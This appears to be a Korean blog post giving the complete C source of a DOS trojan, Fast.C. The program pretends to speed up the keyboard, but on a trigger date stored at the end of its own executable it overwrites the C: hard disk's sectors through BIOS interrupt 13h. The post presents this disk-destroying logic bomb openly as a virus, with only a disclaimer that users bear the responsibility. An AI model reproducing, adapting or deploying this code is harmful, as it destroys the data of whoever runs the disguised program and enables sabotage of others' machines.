|
이코드를 이용한 모든 책임은 개인에게 있습니다 C 로 구현한 바이러스 다음은 하드 디스크 파괴 트로이 목마 바이러스 C 소스입니다. 다음 배치로 구현한 바이러스 의 트로이 목마형 구조와 비슷합니다. 단지 차이점은 개발 언어와 약간의 침투방법의 차이겠죠. 다음 바이러스 프로그램은 하드디스크를 빠르게 합니다. 그러나 지정한 날짜,조건이 맞으면 하드 디스크를 파괴해 버립니다. C 로 트로이목마 바이러스를 구현할 수 있다는 정도로 알아 두십시요. *바이러스 메인 부분입니다 // Main Source Fast.C #include <stdio.h> #include <conio.h> #include <dos.h> #include <string.h> #define LASTHEAD 1 #define LASTTRACK 79 #define LASTSECTOR 15 #define BYTESPERSECTOR 512 #define driveToRead 0x80 // C: drive (파괴대상 드라이브 지정) char diskBuffer[BYTESPERSECTOR * LASTSECTOR]; typedef struct{ // 날짜의 구조체 int Year; int Month; int Day; } Time_Type; // 키보드 빠르게 하는 루틴 (트로이 목마의 외형 부분) void Fast_Key( void ) { outp( 0x60, 0xF3 ); delay( 100 ); outp( 0x60, 0x00 ); delay( 100 ); } // 하드디스크 섹터 쓰기 unsigned char WriteHardSector( unsigned char drive, unsigned char sectorsToWrite, unsigned char head, unsigned int cylinder, unsigned char sector, unsigned char far *bufferPtr ){ union REGS reg; struct SREGS sreg; reg.h.ah = 3; reg.h.al = sectorsToWrite; reg.x.bx = FP_OFF(bufferPtr); reg.h.dh = head; reg.h.dl = drive; reg.h.ch = cylinder; reg.h.cl = (cylinder >> 8); reg.h.cl <<= 6; reg.h.cl |= (sector & 63); sreg.es = FP_SEG(bufferPtr); int86x(0x13,®,®,&sreg); return(reg.h.ah); } void main( void ){ unsigned char currentHead,currentTrack,currentSector; struct date cur_d; // 날짜 FILE *Read_Exe; // 화일 포인터 Time_Type Clack_Time; // 파괴 대상 하드디스크 날짜의 구조체 int Data_Size = 0; // 날짜를 읽기위한 사이즈 getdate(&cur_d); // 현재 날짜 알아내기 Read_Exe = fopen("fast.exe","rb"); //바이러스 개시 날짜를 알아내기 위해 실행화일을 OPEN //Open시 fast.exe 화일이 현디렉토리에 있어야함 Data_Size = sizeof(Time_Type); fseek(Read_Exe,-Data_Size,SEEK_END); // 실행 화일 끝에서 Data_Size만큼 // 뒤로 포인트를 옮김 fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe); // 데이타 읽기 if( ( Clack_Time.Year == cur_d.da_year) && ( Clack_Time.Month == cur_d.da_mon ) && ( Clack_Time.Day == cur_d.da_day )){ // 날짜가 실행화일 끝에 붙은 날짜와 일치 하면 하드 파괴 for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){ for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){ //실제 하드디스크 파괴 부분 //엉뚱한 데이타를 마구 써버림 WriteHardSector(driveToRead,LASTSECTOR,currentHead, currentTrack,1,diskBuffer); } } textattr( WHITE | BLUE << 4); cprintf("[ Cracking Ok ! ]"); textattr( WHITE | BLACK << 4); cprintf("\n"); } // 날짜가 맞지 않을 경우 그냥 키보드 속도를 빠르게 한다 else { Fast_Key(); textattr( WHITE | BLUE << 4); cprintf("Fast_key Installed !"); textattr( WHITE | BLACK << 4); cprintf("\n"); } } |
|
댓글을 달아 주세요